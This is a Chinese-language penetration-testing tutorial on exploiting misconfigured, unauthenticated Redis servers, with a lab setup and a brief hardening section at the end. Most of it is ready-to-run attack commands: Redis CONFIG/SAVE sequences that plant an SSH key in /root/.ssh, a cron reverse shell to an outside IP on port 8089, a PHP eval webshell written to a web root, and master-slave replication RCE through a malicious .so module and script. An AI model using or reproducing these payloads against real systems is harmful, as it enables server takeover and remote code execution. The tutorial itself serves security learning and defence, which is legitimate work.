前言
redis属于非关系型数据库,在开启后默认监听端口为6379。若Redis配置不当可导致攻击者直接获取到服务器的权限。
- 利用条件:redis以root身份运行,存在未授权访问,弱口令或者口令泄露等
redis安装
Redis 官方不建议在 windows 下使用 Redis,所以官网没有 windows 版本可以下载。微软团队维护了开源的 windows 版本:https://github.com/microsoftarchive/redis,但是只有 3.x 版本。某次红队项目中,就碰到了windows版的redis,相较于linux下的redis,漏洞利用比较棘手,但利用思路也类似,如将shell写入到开机启动项,或者写webshell到根目录等。以下都基于linux下的redis漏洞利用
- 靶机: ubuntu20.04/centos 7,redis-5.0.14
- 攻击机:windows,进行redis连接
ubuntu安装redis
- #下载压缩包
- wget https://download.redis.io/releases/redis-5.0.14.tar.gz
- #解压
- tar -zxvf redis-5.0.14.tar.gz
- #编译
- cd redis-5.0.12
- #安装C语言环境
- #redis是由C语言编写的,它的运行需要C环境,所以编译前需安装 gcc。这个命令将会安装一系列软件包,包括gcc,g++,和make
- apt install build-essential
- #如果是centos则 yum -y install gcc automake autoconf libtool make
- #编译
- make && make install
复制代码
安装好查看下版本,进入/redis-5.0.12/src
./redis-server --version
- 修改配置文件
1.1 取消绑定本机
打开配置文在127.0.0.1前加上注释符,允许别的主机进行连接
vim /redis.conf
# bind 127.0.0.1
1.2 关闭保护模式
将protected-mode yes修改为no,如下,关闭保护模式。如果只是取消了bind,保护模式还是开启的话,依然无法远程连接。
以上两个选项不进行设置可以查看到开放了6379端口,但是无法进行连接,所以这两项一定要设置。
- 启动redis服务
进入下载的redis文件中src目录
- #带上配置文件进行启动,不然配置文件不会生效
- ./redis-server /root/Desktop/redis-5.0.14/redis.conf
复制代码
此时redis开始运行,靶机搭建成功。
redis图形化连接工具
windows下推荐这款redis图形化连接工具
下载:https://github.com/qishibo/AnotherRedisDesktopManager/
redis基本命令
- #查看redis版本信息、一些具体信息、服务器版本信息等等:
- 192.168.63.130:6379>info
- #将变量x的值设为test:
- 192.168.63.130:6379>set x "test"
- #把整个redis数据库删除,一般情况下不要用!!!
- 192.168.63.130:6379>flushall
- #查看所有键:
- 192.168.63.130:6379>KEYS *
- #获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
- 192.168.63.130:6379>CONFIG GET dir 192.168.63.130:6379>CONFIG GET dbfilename
复制代码
redis漏洞利用
在redis存在未授权或弱密码或口令泄露的情况下,只要我们能成功连接上redis,则可以尝试如下漏洞利用方式,间接获取到redis所在服务器的权限
1. 写入ssh公钥
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
写入公钥的前提
- Redis服务使用ROOT账号启动
- 成功连接redis
- 服务器开放了SSH服务,而且允许使用密钥登录,并且存在/root/.ssh目录,(安装的openssh只要将公钥放入到/root/.ssh文件夹中,无需设置 默认就允许使用公钥登录),即可远程写入一个公钥,直接登录远程服务器。
- 生成公私钥
打开“id_rsa.pub”文件将其内容全部复制出来
设置Redis的备份路径为/root/.ssh/和保存文件名为authorized_keys,并将数据保存在目标服务器硬盘上
- config set dir /root/.ssh/
- config set dbfilename authorized_keys
- # set x "\n\n\n公钥\n\n\n",将公钥写入x键。前后用\n换行,避免和Redis里其他缓存数据混合
- set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCiRdspB+toUvUw1pvmizU3XUk9tEF8Dvu/u2Ro9wOYlFWL+JsEI8IWbnQY8YenPZStJMQGu0onJML+fM475Prd6llv3gOZL45P07Xv03MqVcrU0BrFxmtXd9fr91Sl5kPNME9A2LrfmWszkELGDn+RJPSTGXvB8yKTJ2TjwP2Bn6RbVCtOpX3bkaCFja4MvjxeDat0yYFRw9SOUE1UEU3jsX0jvIjhjDlcOhOtsHgB3rCyN+U6sY8T9IzmFaw7BjufHEpTiErx5NDOW/FjQsEuX2eCX6w3RxCdso1oceVhG+5VbsorEi01ddSEGubK4ZvMB0/kwJu0e1dozaJZOIKxxxx7zhdVjHb0zJQzbqqzwbMe54dsGerQA1BCnLF/axmt13BNZKXgBIcaxtPx7Ik7ekigjn/T6ldlguZXUup+yI8g8nzJEkI6PFNc+UYl+SY1cqpCmPQv2CGP8FcD++VBmxf0hh8AzO4jdbfZZIqpBqqhtVKeHLXMcV7OXCFM= red@sxxc\n\n\n"
- save
复制代码
连接
可能会出现的错误
- 显示没有/root/.ssh这个文件夹
问题原因:
.ssh 是记录密码信息的文件夹,如果目标机器没有登录过root的话,就没有 .ssh 文件夹,因此登录 localhost ,并输入密码就会生成了
- #被攻击上执行,就会生成.ssh文件夹。如果只是远程登录root的话则不会生成该文件夹
- ssh localhost
复制代码
2. 写计划任务反弹shell
原理就是在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。
利用前提:
- 以root权限运行redis
- 服务器开启了计划任务功能,一般linux都默认开启了计划任务
测试系统:ubuntu20
1. vps开启监听
2. redis执行
- #将反弹shell写到x键
- set x "\n\n*/1 * * * * bash -i >& /dev/tcp/43.xx.x7/8089 0>&1\n\n"
- #设置保存路径
- config set dir /var/spool/cron/crontabs
- #设置保存名称
- config set dbfilename root
- save
复制代码
此时会将计划任务保存在 “/var/spool/cron/crontab/root”中。我们输入" crontab -l ",列出存在的计划任务
但是此计划任务并没有成功,查看写入的内容,发现乱码,也就是这些乱码导致计划任务执行错误。
这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败。而这个问题是不能解决的,因为利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据。
如果目标机器为ubuntu,那么通过redis写入的任何计划任务由于乱码的问题 计划任务都不会被执行
测试系统:centos 7
上面ubuntu写入计划任务执行失败,下面使用centos 7测试,使用root权限运行redis,然后写入如下
- # \n为换行符,此处一定要加\n,这样反弹shell语句与其他乱码语句就会分隔开不在同一行,这样才能成功反弹shell
- set x "\n\n*/1 * * * * bash -i >& /dev/tcp/43.xx.x7/8089 0>&1\n\n"
- config set dir /var/spool/cron
- config set dbfilename root
- save
复制代码
也会有乱码,但是能够成功反弹shell
3. 写入webshell
若服务器运行着web服务,且web根路径已知,可通过以下指令写入webshell
经测试,centos7和ubuntu下都能成功写入并连接
- config set dir /www/admin/localhost_80/wwwroot
- config set dbfilename shell.php
- set r "\n\n\n<?php @eval($_POST['cmd']); ?>\n\n\n"
- save
复制代码
成功写入
连接
4. 主从复制获取shell
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
利用前提
- redis 4.x/5.x
- 无需root账号启动redis,普通权限也可以
什么是主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
Redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除,而主从复制则能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。
当slave向master发送PSYNC命令之后,一般会得到三种回复:
- +FULLRESYNC:进行全量复制。
- +CONTINUE:进行增量同步。
- -ERR:当前master还不支持PSYNC。
进行全量复制是,会将master上的RDB文件同步到slave上。而进行增量复制时,slave向master要求数据同步,会发送master的runid和offest,如果runid和slave上的不对应则会进行全量复制,如果相同则进行数据同步,但是不会传输RDB文件。
为了能让恶意so传输到目标服务器上,这里则必须采用全量复制。
一键自动化Rce
可以通过脚本实现一键自动化getshell:
- 下载exp.so:exp.so,进入文件夹执行“make”,然后会生成exp.so文件
- 下载漏洞利用exp:redis-rce-master
- rce
- redis-rce.py -r 192.168.208.129 -P 6379 -L 192.168.43.164 -f exp.so
- # -r redis机器ip
- # -L 攻击机ip
复制代码
- 反弹shell
5. ssrf+redis写入webshell
当我们检测出一个网站存在SSRF漏洞的时候,我们就可以探测当前或者内网主机开放的端口,而这些端口往往我们从外网是不能直接探测到的,所以可以尝试利用ssrf探测内网开放的端口,当探测处内网存在redis的时候,则可以尝试进行攻击
漏洞利用前提:
具体参考:ssrf攻击redis写入websell
漏洞利用总结
漏洞利用方式 | 利用前提 | 备注 |
写公钥 |
- root权限运行redis
- 开放了ssh,允许公钥连接
| |
反弹shell |
| |
写入web shell |
| |
主从复制 | redis 4.x/5.x | 无需root权限启动redis,获取的权限为启动用户的权限 |
漏洞防护
- 设置本机访问或者指定主机访问redis,修改redis.conf中bind配置
- 防火墙设置仅允许指定的IP来访问Redis服务
- 最小权限运行redis,修改Redis服务运行账号 (需要重启redis才能生效),以较低权限账号运行Redis服务